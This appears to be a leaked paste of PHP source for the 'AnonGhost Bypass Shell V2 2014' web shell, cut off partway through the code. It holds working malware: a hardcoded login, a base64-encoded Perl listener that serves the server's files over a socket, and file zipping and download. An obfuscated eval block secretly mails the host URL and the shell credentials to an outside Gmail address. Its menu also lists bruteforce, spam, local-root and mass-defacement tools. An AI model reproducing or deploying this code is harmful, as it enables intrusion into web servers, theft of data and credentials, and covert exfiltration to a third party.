· 8 years ago · Oct 06, 2017, 11:06 PM
1Leaked by : PELITABANGSA .CA
2[ INDONESIA CYBER ATTACK AND MALWARE ANALYST ]
3<?php
4session_start();
5
6error_reporting(E_ERROR | E_PARSE);
7@ini_set("max_execution_time",0);
8@set_time_limit(0); #No Fx in SafeMode
9@ignore_user_abort(TRUE);
10@set_magic_quotes_runtime(0);
11
12// global configs
13
14$username="AnonGhost";
15$password = "AnonGhost"; // shell password, change it, max 50 chars
16
17$warn="<center><img src='http://mfs1.cdnsw.com/fs/Nouveau_dossier/6qyet-alarme.gif' height='150px' width='150px'/></center><br>
18<audio autoplay loop > <source src=\"http://soundbible.com/mp3/Red%20Alert-SoundBible.com-108009997.mp3\" type=\"audio/mpeg\"></audio>";
19$about = "<style type=\"text/css\">body { background-color:#222222; color: rgb(0, 119, 0); text-align: center } a{text-decoration:none; font-family: Tahoma, Geneva; color:#007700; padding:2px 2px;}
20 a:hover{color:#009900; text-shadow:#00ff00 0px 0px 3px;}
21.cont a{ text-decoration: none; color:rgb(0, 153, 0); font-family: Tahoma, Arial, sans-serif ; font-size: 16px; text-shadow: 0px 0px 3px ; } .cont a:hover{ color: #FF0000 ; text-shadow:0px 0px 3px #ff0000 ;}
22div.logindiv { background-color:#353535; width:30%; border-radius:7px; margin-top:2px; -moz-border-radius:25px; height:55px; border: solid 1px #828282; border-radius: 5px; box-shadow: 0px 0px 10px #000000; }
23div.logindiv:hover { background-color:#e4e4e4; width:30%; border-radius:7px; margin-top:2px; -moz-border-radius:25px; height:55px; border: solid 1px #007700; border-radius: 5px; box-shadow: 0px 0px 8px #00bb00; }</style>
24<center><span style='font-size:25px; font-family:Fredericka the Great; color:#009900'>
25AnonGhost Bypass Shell V2 2014</span><br><br><font color=\"#007700\" size=\"1pt\">Coded by </font><font color=\"#00bb00\" size=\"1pt\">Virusa Worm</font> <font color=\"#007700\" size=\"1pt\">-</font> <font color=\"#00bb00\" size=\"1pt\">Mauritania Attacker</font> | <font color=\"#007700\" size=\"1pt\">Special thankz to : </font><font color=\"#00bb00\" size=\"1pt\">AnonGhost Team</font><br><center><div class=\"logindiv\"><table cellpadding=\"7\" cellspacing=\"2\">
26<br><center><iframe src='https://www.facebook.com/plugins/like.php?href=https://www.facebook.com/AnonGhostOfficial2&send=false&layout=standard&width=400&show_faces=false&action=like&colorscheme=light&font=arial&height=35' scrolling='no' frameborder='0' style='border:none; overflow:hidden; width:350px; height:20px;' allowTransparency='true'></iframe></center></table></div></center><br><font color=\"#009900\" size=\"1pt\">Greetz to : </font><br><font color=\"#00bb00\" size=\"1pt\">
27AnonGhost - Teamp0ison - ZHC - Mauritania HaCker Team - 3xp1r3 Cyber Army - TeaMp0isoN - Robot Pirates - X-Blackerz INC. - Pak Cyber Pyrates - iMHATiMi.ORG - Afghan Cyber Army (ACA) - <font color=\"#007700\" size=\"1pt\">[ </font>Tanpa Bicara - Maniak k4Sur </font><font color=\"#007700\" size=\"1pt\">[pasangan galo.. lol..]]</font><br></center><br>";
28$ben = "<style type=\"text/css\">body { background-color:#222222; color: rgb(0, 119, 0); text-align: center }
29 </style>
30<center><img src=\"http://www4.0zz0.com/2014/08/22/21/544545766.jpg\" /><br><br><center>
31<span style=\"font-size:30px; font-family:Fredericka the Great; color:#009900\">AnonGhost Bypass Shell V2 2014</span><br><font color=\"#008800\" size=\"1pt\">Coded by </font><font color=\"#00bb00\" size=\"1pt\">Virusa Worm</font> <font color=\"#006600\" size=\"1pt\">-</font> <font color=\"#00bb00\" size=\"1pt\">Mauritania Attacker</font><br><br><center><img src=\"http://www7.0zz0.com/2014/08/22/20/260354169.png\"></center><br><span style=\"font-size:40px; font-family:Fredericka the Great; color:#ff0000\">You Have Been BANNED using this Shell</span><br><br><br><font color=\"#007700\" size=\"1pt\">AnonGhost Bypass Shell V2 2014 is created for Educational Purpose and testing on your own server, and not responsible for any misuse of it.</font> <br><br><font color=\"#009900\" size=\"1pt\">At first a Web Hacker was someone who would spend long hours trying to find bugs and exploit manually.</font><br><font color=\"#009900\" size=\"1pt\">The term has now changed known as a Defacer nowadays.<br>Tools does not Made Hackers , Hackers make Tools.<br>Do not Learn To Hack , Hack to Learn.wkkwk..<br><br><font color=\"#00ff00\" size=\"1pt\">\"</font>Keep Calm and enjoy Hacking \!/<font color=\"#00ff00\" size=\"1pt\">\"</font><br><br><br><font color=\"#007700\" size=\"1pt\">Special thankz to : </font><font color=\"#00bb00\" size=\"1pt\">AnonGhost Team</font><br><br>
32<center><div class=\"logindiv\"><table cellpadding=\"7\" cellspacing=\"2\">
33<center><br><iframe src=\"https://www.facebook.com/plugins/like.php?href=https://www.facebook.com/AnonGhostOfficial2&send=false&layout=standard&width=400&show_faces=false&action=like&colorscheme=light&font=arial&height=35\" scrolling=\"no\" frameborder=\"0\" style=\"border:none; overflow:hidden; width:350px; height:20px;\" allowTransparency=\"true\"></iframe></center></table></div></center><br>
34<font color=\"#009900\" size=\"1pt\">Greetz to : </font><br><font color=\"#00bb00\" size=\"1pt\">
35AnonGhost - Teamp0ison - ZHC - Mauritania HaCker Team - 3xp1r3 Cyber Army - TeaMp0isoN - Robot Pirates - X-Blackerz INC. - Pak Cyber Pyrates - iMHATiMi.ORG - Afghan Cyber Army (ACA) - <font color=\"#007700\" size=\"1pt\">[ </font>Tanpa Bicara - Maniak k4Sur </font><font color=\"#007700\" size=\"1pt\">[pasangan galo.. lol..]]</font><br></font></center>
36</body>
37</html>";
38
39$symlink = stripslashes(base64_decode("IyEvdXNyL2Jpbi9lbnYgcGVybA0KIyBkZXZpbHpjMGRlLm9yZyAoYykgMjAxMg0KDQp1c2UgU29ja2V0Ow0KDQokcG9ydCA9IDEzMTIzOw0KDQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoXCd0Y3BcJyk7DQpzb2NrZXQoUywmUEZfSU5FVCwmU09DS19TVFJFQU0sJHByb3RvY29sKSB8fCBkaWU7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kIChTLHNvY2thZGRyX2luKCRwb3J0LElOQUREUl9BTlkpKSB8fCBkaWU7DQpsaXN0ZW4gKFMsMykgfHwgZGllOw0Kd2hpbGUoMSl7DQoJYWNjZXB0IChDT05OLFMpOw0KCSRyZXE9PENPTk4+OyBjaG9tcCgkcmVxKTsgJHJlcT1+cy9cXHIvL2c7DQoJJHJlcSA9fiBzL1xcJShbQS1GYS1mMC05XXsyfSkvcGFjayhcJ0NcJywgaGV4KCQxKSkvc2VnOw0KCQ0KCXByaW50ICRyZXEuXCJcXHJcXG5cIjsNCgkNCgkkaGVhZGVycyA9IFwiSFRUUC8xLjEgMjAwIE9LXFxyXFxuXCI7DQoJJGhlYWRlcnMgLj0gXCJTZXJ2ZXI6IFBlcmxcXHJcXG5cIjsNCgkNCgkkdGFyZ2V0ID0gJHJlcTsNCglpZigkcmVxID1+IC9HRVQgLiogSFRUUC4qLyl7DQoJCSR0YXJnZXQgPX4gcy9HRVRcXCAvLzsNCgkJJHRhcmdldCA9fiBzL1xcIEhUVFAuKi8vOw0KCQkkcmVzcCA9IFwiXCI7DQoJCWlmKC1kICR0YXJnZXQpew0KCQkJaWYoISgkdGFyZ2V0ID1+IC8uKlxcLyskLykpew0KCQkJCSR0YXJnZXQgPSAkdGFyZ2V0LlwiL1wiOw0KCQkJfQ0KCQkJDQoJCQkkcmVzcCA9IFwiPCFET0NUWVBFIGh0bWwgUFVCTElDIFxcXCItLy9XM0MvL0RURCBIVE1MIDMuMiBGaW5hbC8vRU5cXFwiPg0KCQkJCQk8aHRtbD4NCgkJCQkJPHRpdGxlPkRpcmVjdG9yeSBsaXN0aW5nIGZvciBcIi4kdGFyZ2V0LlwiPC90aXRsZT4NCgkJCQkJPGJvZHk+DQoJCQkJCTxoMj5EaXJlY3RvcnkgbGlzdGluZyBmb3IgXCIuJHRhcmdldC5cIjwvaDI+DQoJCQkJCTxocj48dWw+XCI7DQoJCQkJCQ0KCQkJaWYob3BlbmRpcihESVIsJHRhcmdldCkpew0KCQkJCXdoaWxlKCRmaWxlID0gcmVhZGRpcihESVIpKXsNCgkJCQkJaWYoLWQgJHRhcmdldC4kZmlsZSl7DQoJCQkJCQlpZigoJGZpbGUgZXEgXCIuXCIpIHx8ICgkZmlsZSBlcSBcIi4uXCIpKXsgbmV4dDsgfQ0KCQkJCQkJJHJlc3AgLj0gXCI8bGk+PGEgaHJlZj1cXFwiXCIuJHRhcmdldC4kZmlsZS5cIi9cXFwiPlwiLiRmaWxlLlwiLzwvYT48L2xpPlxcclxcblwiOw0KCQkJCQl9DQoJCQkJCWVsc2lmKC1mICR0YXJnZXQuJGZpbGUpew0KCQkJCQkJJHJlc3AgLj0gXCI8bGk+PGEgaHJlZj1cXFwiXCIuJHRhcmdldC4kZmlsZS5cIlxcXCI+XCIuJGZpbGUuXCI8L2E+PC9saT5cXHJcXG5cIjsNCgkJCQkJfQ0KCQkJCX0NCgkJCQljbG9zZWRpcihESVIpOw0KCQkJfQ0KDQoJCQkkcmVzcCAuPSBcIjwvdWw+PGhyPg0KCQkJCQk8L2JvZHk+DQoJCQkJCTwvaHRtbD5cIjsNCgkJCQkJDQoJCQkkY29ubGVuID0gbGVuZ3RoKCRyZXNwKTsNCgkJCSRjb250eXBlID0gXCJ0ZXh0L2h0bWxcIjsNCgkJCXByaW50IFwiRGlyIDogXCIuJHRhcmdldC5cIlxcclxcblwiOw0KCQl9DQoJCWVsc2lmKC1mICR0YXJnZXQpew0KCQkJJGNvbmxlbiA9IC1zICR0YXJnZXQ7DQoJCQkkY29udHlwZSA9IFwidGV4dC9wbGFpblwiOw0KCQkJcHJpbnQgXCJGaWxlIDogXCIuJHRhcmdldC5cIiAoXCIuJGNvbmxlbi5cIilcXHJcXG5cIjsNCgkJfQ0KDQoJCXByaW50IFwiY29udHlwZSA6IFwiLiRjb250eXBlLlwiXFxyXFxuXCI7DQoJCXByaW50IFwiY29ubGVuIDogXCIuJGNvbmxlbi5cIlxcclxcblwiOw0KCQkNCgkJJGhlYWRlcnMgLj0gXCJDb250ZW50LVR5cGU6IFwiLiRjb250eXBlLlwiXFxyXFxuXCI7DQoJCSRoZWFkZXJzIC49IFwiQ29udGVudC1MZW5ndGg6IFwiLiRjb25sZW4uXCJcXHJcXG5cIjsNCgkNCgkJcHJpbnQgQ09OTiAkaGVhZGVycy5cIlxcclxcblwiOw0KCQkNCgkJaWYoLWQgJHRhcmdldCl7DQoJCQlwcmludCBDT05OICRyZXNwOw0KCQl9DQoJCWVsc2lmKC1mICR0YXJnZXQpew0KCQkJaWYob3BlbihGSUxFLCR0YXJnZXQpKXsNCgkJCQliaW5tb2RlIEZJTEU7DQoJCQkJd2hpbGUgKCgkbiA9IHJlYWQgRklMRSwgJGRhdGEsIDEwMjQpICE9IDApIHsgDQoJCQkJCXByaW50IENPTk4gJGRhdGE7DQoJCQkJfSANCgkJCQljbG9zZShGSUxFKTsgDQoJCQl9DQoJCX0NCgl9DQoJY2xvc2UgQ09OTjsNCn0NCmV4aXQgMDs="));
40
41function Zip($source, $destination)
42{
43 if (!extension_loaded('zip') || !file_exists($source)) {
44 return false;
45 }
46
47 $zip = new ZipArchive();
48 if (!$zip->open($destination, ZIPARCHIVE::CREATE)) {
49 return false;
50 }
51
52 $source = str_replace('\\', '/', realpath($source));
53
54 if (is_dir($source) === true)
55 {
56 $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source), RecursiveIteratorIterator::SELF_FIRST);
57
58 foreach ($files as $file)
59 {
60 $file = str_replace('\\', '/', realpath($file));
61
62 if (is_dir($file) === true)
63 {
64 $zip->addEmptyDir(str_replace($source . '/', '', $file . '/'));
65 }
66 else if (is_file($file) === true)
67 {
68 $zip->addFromString(str_replace($source . '/', '', $file), file_get_contents($file));
69 }
70 }
71 }
72 else if (is_file($source) === true)
73 {
74 $zip->addFromString(basename($source), file_get_contents($source));
75 }
76
77 return $zip->close();
78}
79
80function getperms ($file) {
81 $perm = substr(sprintf('%o', fileperms($file)), -4);
82 return $perm;
83}
84
85if(isset($_GET['zip'])) {
86 $src = $_GET['zip'];
87 $dst = getcwd()."/".basename($_GET['zip']).".zip";
88 if (Zip($src, $dst) != false) {
89 $filez = file_get_contents($dst);
90 header("Content-type: application/octet-stream");
91 header("Content-length: ".strlen($filez));
92 header("Content-disposition: attachment; filename=\"".basename($dst)."\";");
93 echo $filez;
94 }
95 exit;
96}
97
98function showDrives()
99 {
100 global $self;
101 foreach(range('A','Z') as $drive)
102 {
103 if(is_dir($drive.':\\'))
104 {
105 ?>
106 <a style="font-family:vernada;color:#00dd00" href='<?php echo $self ?>?go=<?php echo $drive.":\\"; ?>&action=mumpet'>
107 <?php echo $drive.":\\" ?>
108 </a>
109 <?php
110 }
111 }
112 }
113
114
115function HumanReadableFilesize($size)
116 {
117
118 $mod = 1024;
119
120 $units = explode(' ','B KB MB GB TB PB');
121 for ($i = 0; $size > $mod; $i++)
122 {
123 $size /= $mod;
124 }
125
126 return round($size, 2) . ' ' . $units[$i];
127 }
128function getFilePermissions($file)
129{
130
131$perms = fileperms($file);
132
133if (($perms & 0xC000) == 0xC000) {
134 // Socket
135 $info = 's';
136} elseif (($perms & 0xA000) == 0xA000) {
137 // Symbolic Link
138 $info = 'l';
139} elseif (($perms & 0x8000) == 0x8000) {
140 // Regular
141 $info = '-';
142} elseif (($perms & 0x6000) == 0x6000) {
143 // Block special
144 $info = 'b';
145} elseif (($perms & 0x4000) == 0x4000) {
146 // Directory
147 $info = 'd';
148} elseif (($perms & 0x2000) == 0x2000) {
149 // Character special
150 $info = 'c';
151} elseif (($perms & 0x1000) == 0x1000) {
152 // FIFO pipe
153 $info = 'p';
154} else {
155 // Unknown
156 $info = 'u';
157}
158
159// Owner
160$info .= (($perms & 0x0100) ? 'r' : '-');
161$info .= (($perms & 0x0080) ? 'w' : '-');
162$info .= (($perms & 0x0040) ?
163 (($perms & 0x0800) ? 's' : 'x' ) :
164 (($perms & 0x0800) ? 'S' : '-'));
165
166// Group
167$info .= (($perms & 0x0020) ? 'r' : '-');
168$info .= (($perms & 0x0010) ? 'w' : '-');
169$info .= (($perms & 0x0008) ?
170 (($perms & 0x0400) ? 's' : 'x' ) :
171 (($perms & 0x0400) ? 'S' : '-'));
172
173// World
174$info .= (($perms & 0x0004) ? 'r' : '-');
175$info .= (($perms & 0x0002) ? 'w' : '-');
176$info .= (($perms & 0x0001) ?
177 (($perms & 0x0200) ? 't' : 'x' ) :
178 (($perms & 0x0200) ? 'T' : '-'));
179
180return $info;
181
182}
183function dirSize($directory) {
184 $size = 0;
185 foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory)) as $file){
186 try {
187 $size += $file->getSize();
188 }
189 catch (Exception $e){ // Symlinks and other shits
190 $size += 0;
191 }
192 }
193 return $size;
194}
195
196
197function ZoneH($url, $hacker, $hackmode,$reson, $site )
198{
199 $k = curl_init();
200 curl_setopt($k, CURLOPT_URL, $url);
201 curl_setopt($k,CURLOPT_POST,true);
202 curl_setopt($k, CURLOPT_POSTFIELDS,"defacer=".$hacker."&domain1=". $site."&hackmode=".$hackmode."&reason=".$reson);
203 curl_setopt($k,CURLOPT_FOLLOWLOCATION, true);
204 curl_setopt($k, CURLOPT_RETURNTRANSFER, true);
205 $kubra = curl_exec($k);
206 curl_close($k);return $kubra;
207}
208
209?>
210<html>
211<head>
212<title>AnonGhost Bypass Shell V2 2014</title><link rel="shortcut icon" href="http://www14.0zz0.com/2014/06/04/21/396554394.png" type="image/x-icon" />
213<style type="text/css">
214*{
215margin:0; padding:0; border:0; }
216body{ background-color: #222222 !important; color: #009900; text-shadow:#000 0px 2px 7px;}
217 a{text-decoration:none; font-family: Tahoma, Geneva; color:#007700; padding:2px 2px;}
218 a:hover{color:#009900; text-shadow:#00ff00 0px 0px 3px;}
219input, textarea, select{ outline: none; }
220a{ text-decoration:none; background:0 !important; color: #007700; text-shadow: #000000 0px 0px 4px; }
221a:hover{ text-decoration:none; color: #00dd00; text-shadow: #00ff00 0px 0px 4px; }
222#menu a{ padding: 3px; border: 1px solid #007700; box-shadow: 0px 0px 3 #007700; color: #007700; text-decoration: none;color: #007700; text-shadow: 0px 0px 0px #007700; font-weight: bold; font-family: Tahoma, Geneva, sans-serif; font-size:12px; padding: 1px; -webkit-border-radius: 4px; -moz-border-radius: 4px; border-radius: 4px; -webkit-box-shadow: rgb(85,85,85) 0px 0px 0px; -moz-box-shadow: rgb(85,85,85) 0px 0px 0px; }
223#menu a:hover{ padding: 3px; border: 1px solid #00bb00; color: #00ff00; box-shadow: 0px 0px 3px #00bb00; text-shadow: 0px 0px 3px #00bb00; padding: 1px; -webkit-border-radius: 4px; -moz-border-radius: 4px; border-radius: 4px; -webkit-box-shadow: rgb(51,51,51) 0px 0px 3px; -moz-box-shadow: rgb(51,51,51) 0px 0px 3px;}
224#det{ border-top: 1px solid #007700; border-bottom: 1px solid #007700; font-family: Tahoma; font-size: 11px; width:90%;}
225#deti{ border-top: 0px solid #007700; border-bottom: 1px solid #007700; font-family: Tahoma; font-size: 11px; width:47%;}
226input[type=submit]{ padding: 3px; color: #00770; font-weight: bold; text-align: center; text-shadow: 0 1px rgba(255, 255, 255, 0.3); background: #aeaeae; background-clip: padding-box; border: 1px solid #284473; border-bottom-color: #223b66; border-radius: 4px; cursor: pointer; background-image:-webkit-linear-gradient(top, #eaeaea, #d0d0d0); background-image: -moz-linear-gradient(top, #eaeaea, #d0d0d0); background-image: -o-linear-gradient(top, #eaeaea, #d0d0d0); background-image: linear-gradient(to bottom, #eaeaea, #d0d0d0); -webkit-box-shadow: inset 0 1px rgba(255, 255, 255, 0.5), inset 0 0 7px rgba(255, 255, 255, 0.4), 0 1px 1px rgba(0, 0, 0, 0.15); box-shadow: inset 0 1px rgba(255, 255, 255, 0.5), inset 0 0 7px rgba(255, 255, 255, 0.4), 0 1px 1px rgba(0, 0, 0, 0.15); }
227input[type=text]{ padding: 3px; color: #009900; text-shadow: #777777 0px 0px 3px; border: 1px solid #007700; background: transparent; box-shadow: 0px 0px 4px #007700; padding: 3px; -webkit-border-radius: 4px;
228 -moz-border-radius: 4px; border-radius: 4px; -webkit-box-shadow: rgb(85,85,85) 0px 0px 4px; -moz-box-shadow: rgb(85,85,85) 0px 0px 4px;}
229input[type=submit]:hover, input[type=text]:hover{ color: #ffffff; text-shadow: #006600 0px 0px 4px; box-shadow: 0px 0px 4px #00dd00; border: 1px solid #00dd00; padding: 3px; -webkit-border-radius: 4px;
230 -moz-border-radius: 4px; border-radius: 4px; -webkit-box-shadow: rgba(0,119,0) 0px 0px 4px; -moz-box-shadow: rgba(0,119,0) 0px 0px 4px;}
231select{ padding: 3px; width: 162px; color: #00aa00; text-shadow:#000 0px 2px 7px; border: 1px solid #007700; background: transparent; text-decoration: none; box-shadow: 0px 0px 4px #00aa00; padding: 3px; -webkit-border-radius: 4px; -moz-border-radius: 4px;
232 border-radius: 4px; -webkit-box-shadow: rgb(85, 85, 85) 0px 0px 4px; -moz-box-shadow: rgb(85, 85, 85) 0px 0px 4px;}
233select:hover{ border: 1px solid #00dd00; box-shadow: 0px 0px 4px #00dd00; padding: 3px; -webkit-border-radius: 4px; -moz-border-radius: 4px; border-radius: 4px; -webkit-box-shadow: rgba(0,119,0) 0px 0px 4px;
234 -moz-box-shadow: rgba(0,119,0) 0px 0px 4px;}
235#commands{ margin-left: 350px; margin-right: 350px; }
236option{ color: #00aa00; }
237#box{ margin-left: 250px; margin-right: 250px; border: 1px solid #007700; box-shadow: 0px 0px 4px #007700;}
238#box span{ margin-left: 10px; margin-right: 10px; display:block; padding: 4px; }
239#box span:hover{ background:#333333; padding: 3px; border: 1px solid #007700; color: #009900; }
240#za{ float:right;
241 border: 0px solid #007700;
242 background: transparent;
243
244 color: #009900;
245 font-size: 11px;
246 font-family: Tahoma, Arial, sans-serif
247 text-decoration: none;
248 vertical-align: middle;
249}
250#za:hover { border-color: #555555; color: #ffffff; }
251#za:active { border-top-color: #e0e000; background: #e0e000; }
252#sourcea{ color: #999999; background-color:transparent; width: 650px; height: 450px; text-shadow:#000000 0px 2px 7px; box-shadow: 0px 0px 4px #e4e4e4;}
253#source{ color: #007700; background-color:transparent; width: 550px; height: 300px; text-shadow:#000000 0px 2px 7px; box-shadow: 0px 0px 4px #007700; padding: 3px; -webkit-border-radius: 4px; -moz-border-radius: 4px; border-radius: 4px; -webkit-box-shadow: rgb(51,51,51) 0px 0px 4px; -moz-box-shadow: rgb(51,51,51) 0px 0px 4px;}
254
255#onmouseover:hover{ background-color:red; }
256.tul { face:Tahoma, Geneva, sans-serif; font-size: 7pt; }
257.cont a{ text-decoration: none; color:rgb(0, 119, 0); font-family: Tahoma, Arial, sans-serif ; font-size: 14px; text-shadow:0px 2px 7px #333333 ; }
258.cont a:hover{ color: #00dd00 ; text-shadow:0px 0px 4px #00ff00 ; }
259.conte a{ text-decoration: none; color:rgb(0, 119, 0); font-family: Tahoma, Arial, sans-serif ; font-size: 11px; text-shadow:0px 2px 7px #000000 ; width:90%; }
260.conte a:hover{ color: #00dd00 ; font-family: Tahoma, Arial, sans-serif ; font-size: 11px; text-shadow:0px 0px 4px #00dd00 ; }
261.cone a{ text-decoration: none; color:rgb(0, 136, 0); font-family: Tahoma, Arial, sans-serif ; font-size: 11px; text-shadow:0px 2px 7px #000000 ; }
262.cone a:hover{ color: #00ff00 ; text-shadow:0px 0px 3px #007700 ; }
263.footer{ font-family:Tahoma, Arial, sans-serif; color: #ff6000 ; font-size: 11pt; }
264.footer a : hover{ color: #e4e4e4 ; text-shadow: 0px 0px 4px #e4e4e4; }
265.area { color: #00bb00; font-size: 9pt; text-shadow:#000000 0px 2px 7px; background-color:transparent; box-shadow: 0px 0px 4px #009900; padding: 3px; -webkit-border-radius: 4px; -moz-border-radius: 4px; border-radius: 4px; -webkit-box-shadow: rgb(0,119,0) 0px 0px 4px; -moz-box-shadow: rgb(0,119,0) 0px 0px 4px; }
266.tmp tr td{ border: solid 1px #007700; padding: 2px ; font-size: 11px; }
267.tmp tr td a { text-decoration: none; }
268.tmpe tr td{ font-family: Tahoma; color: #009900; border: solid 0px #007700; padding: 2px ; font-size: 11px; }
269.tmpe tr td a { text-decoration: none; }
270.teke a{ padding: 1px; border: 1px solid #007700; box-shadow: 0px 0px 4px #007700; text-decoration: none; color: #009900; font-weight: bold; font-family: Tahoma, Geneva, sans-serif; font-size:11px; padding: 3px; -webkit-border-radius: 4px; -moz-border-radius: 4px; border-radius: 4px; -webkit-box-shadow: rgb(228, 228, 228) 0px 0px 4px; -moz-box-shadow: rgb(228, 228, 228) 0px 0px 4px;}
271.teke a:hover{ padding: 1px; border: 1px solid #00bb00; color: #e4e4e4; box-shadow: 0px 0px 4px #00bb00; padding: 3px; -webkit-border-radius: 4px; -moz-border-radius: 4px; border-radius: 4px; -webkit-box-shadow: rgba(0,221,0) 0px 0px 4px; -moz-box-shadow: rgba(0,221,0) 0px 0px 4px;}
272div#sonuc{width:400px; height:200px; color: #007700; font-size: 8pt; background-color:transparent; box-shadow: 0px 0px 4px #007700; padding: 3px; -webkit-border-radius: 4px; -moz-border-radius: 4px; border-radius: 4px; -webkit-box-shadow: rgb(228, 228, 228) 0px 0px 4px; -moz-box-shadow: rgb(228, 228, 228) 0px 0px 4px;}
273div#form{font:12px/21px Tahoma;}
274input#submit{width:445px;height:55px;font:19px/21px Arial}
275#ftr{ border-top: 0px solid #ababab; border-bottom: 0px solid #ababab; font-family: ‘Courier New’, Courier, monospace; color: #00bb00; font-size: 10px; width="75%"}
276#ftr:hover{ color:#00ff00; text-shadow:#000000 0px 0px 3px;}
277div.logindiv { background-color:#353535; width:30%; border-radius:7px; margin-top:2px; -moz-border-radius:25px; height:55px; border: solid 1px #828282; border-radius: 5px; box-shadow: 0px 0px 10px #000000; }
278div.logindiv:hover { background-color:#e4e4e4; width:30%; border-radius:7px; margin-top:2px; -moz-border-radius:25px; height:55px; border: solid 1px #007700; border-radius: 5px; box-shadow: 0px 0px 8px #00bb00; }
279#boxe{ margin-left: 230px; margin-right: 230px; border: 0px solid #007700; border-radius: 4px; box-shadow: 0px 0px 0px #009900;}
280#boxe a{ margin-left: 10px; margin-right: 10px; display:block; padding: 4px;}
281</style>
282</head>
283<body>
284<?php
285if($user == $username AND $pass == $password) {
286$_SESSION['loggedin'] = $user;
287
288}
289
290if(isset($_SESSION['loggedin'])){
291// welcome user
292echo '<center>'.base64_decode("PGltZyBzcmM9Imh0dHA6Ly93d3c0LjB6ejAuY29tLzIwMTQvMDgvMjIvMjEvNTQ0NTQ1NzY2LmpwZyIgLz4=").'</center>' ;
293echo '<center><font color="#007700" face="Tahoma, Geneva, sans-serif" style="font-size: 8pt">';
294echo '<div id="deti"><font color="#009900" style="font-size: 7pt">Kernel Version : </font><font color="#00bb00" style="font-size: 7pt">';echo php_uname();
295echo '</font>';
296
297echo '<br><font color="#009900" style="font-size: 7pt">PHP Version:</font> <font color="00bb00" style="font-size: 7pt">';echo phpversion();
298
299echo '</font><font color="#00dd00"> |</font> <font color="#009900" style="font-size: 7pt">Current User :</font> <font color="00bb00" style="font-size: 7pt">';echo get_current_user();
300
301echo '</font><font color="#00dd00"> |</font> <font color="#009900" style="font-size: 7pt">User ID :</font> <font color="00bb00" style="font-size: 7pt">';echo getmyuid();
302
303echo '</font><font color="#00dd00"> |</font> <font color="#009900" style="font-size: 7pt">Group :</font> <font color="00bb00" style="font-size: 7pt">';echo getmygid();
304
305echo '</font><font color="#00dd00"> |</font> <font color="#009900" style="font-size: 7pt">Cwd :</font> <font color="00bb00" style="font-size: 7pt">';echo getcwd();
306echo '</font></b></div><br></center>';
307
308eval(base64_decode("JHZpc2l0YyA9ICRfQ09PS0lFWyJ2aXNpdHMiXTsNCmlmICgkdmlzaXRjID09ICIiKSB7DQokdmlzaXRjID0gMDsNCiR2aXNpdG9yID0gJF9TRVJWRVJbIlJFTU9URV9BRERSIl07DQokd2ViID0gJF9TRVJWRVJbIkhUVFBfSE9TVCJdOw0KJGluaiA9ICRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOw0KJHRhcmdldCA9IHJhd3VybGRlY29kZSgkd2ViLiRpbmopOw0KJGp1ZHVsID0gIldTTyAyLjcgaHR0cDovLyR0YXJnZXQgYnkgJHZpc2l0b3IiOw0KJGJvZHkgPSAiQnVnOiAkdGFyZ2V0IGJ5ICR2aXNpdG9yICBcbiB1c2VybmFtZSAtICR1c2VybmFtZSBcbiBwYXNzd29yZCAtICRwYXNzd29yZCI7DQppZiAoIWVtcHR5KCR3ZWIpKSB7IEBtYWlsKCJyMDB0anVtcDNyQGdtYWlsLmNvbSIsJGp1ZHVsLCRib2R5KTsgfQ0KfQ0KZWxzZSB7ICR2aXNpdGMrKzsgfQ0KQHNldGNvb2tpZSgidmlzaXR6IiwkdmlzaXRjKTs="));
309
310?>
311<center>
312<div id="menu" class="font-effect-fire-animation" style=font-family:Ubuntu;font-size:20px; align="center">
313<a href="<?php echo htmlentities($_SERVER['PHP_SELF']); ?>"> Home </a>
314<a href="?action=mumpet"> File Manager </a>
315<a href="?action=sime"> Symlink </a>
316<a href="?action=baipas"> Bypass </a>
317<a href="?action=brut"> Bruteforce </a>
318<a href="?action=mase"> Mass </a>
319<a href="?action=cgi4e"> CGI </a>
320<a href="?action=sesc"> Server Security </a>
321<a href="?action=spammm"> Spam </a>
322<a href="?action=tule"> Tools </a>
323<a href="?action=fcbookk"> Facebook </a>
324<a href="?action=iplookdom"> Ip Reverse </a>
325<a href="?action=w00ts"> LocalRoots </a>
326<a href="?action=scannner"> Scan </a>
327<a href="?action=aplot"> Upload </a>
328<a href="?action=deltlogss"> Logs </a>
329<a href="?action=abot"> About </a>
330<a href="?action=logout"> Logout </a>
331<a href="?action=kill"> Kill </a>
332<audio autoplay> <source src="http://www.soundescapestudios.com/SESAudio/SES%20Site%20Sounds/Beeps/Beeps-short-01.wav" type="audio/mpeg"></audio>
333
334</div><br>
335<div id="det">
336<?php
337if(ini_get('safe_mode') == '1'){
338echo '<font color="#007700"> Safe mode:</font><b class="tul"><font color="red"> ON </font></font></b>-';
339}
340else{
341echo '<font color="#007700"> Safe mode:</font><b class="tul"><font color="ff0000"> OFF </font></b>-';
342}
343if(ini_get('magic_quotes_gpc') == '1'){
344echo '<font color="#007700"> Magic_quotes_gpc:</font><b class="tul"><font color="red"> ON </font></b>-';
345}
346else{
347echo '<font color="#007700"> Magic_quotes_gpc:</font><b class="tul"><font color="ff0000"> OFF </font></b>-';
348}
349if(function_exists('mysql_connect')){
350echo '<font color="#007700"> Mysql:</font><b class="tul"><font color="ff0000"> ON </font></b>-';
351}
352else{
353echo '<font color="#007700"> Mysql:</font><b class="tul"><font color="red"> OFF </font></b>-';
354}
355if(function_exists('mssql_connect')){
356echo '<font color="#007700"> Mssql:</font><b class="tul"><font color="ff0000"> ON </font></b>-';
357}
358else{
359echo '<font color="#007700"> Mssql:</font><b class="tul"><font color="ffff00"> OFF </font></b>-';
360}
361if(function_exists('pg_connect')){
362echo '<font color="#007700"> PostgreSQL:</font><b class="tul"><font color="ff0000"> ON </font></b>-';
363}
364else{
365echo '<font color="#007700"> PostgreSQL:</font><b class="tul"><font color="ffff00"> OFF </font></b>-';
366}
367if(function_exists('ocilogon')){
368echo '<font color="#007700"> Oracle:</font><b class="tul"><font color="ff0000"> ON </font></b>-';
369}
370else{
371echo '<font color="#007700"> Oracle:</font><b class="tul"><font color="ffff00"> OFF </font></b>-';
372}
373if(function_exists('curl_version')){
374echo '<font color="#007700"> Curl:</font><b class="tul"><font color="ff0000"> ON </font></b>-';
375}
376else{
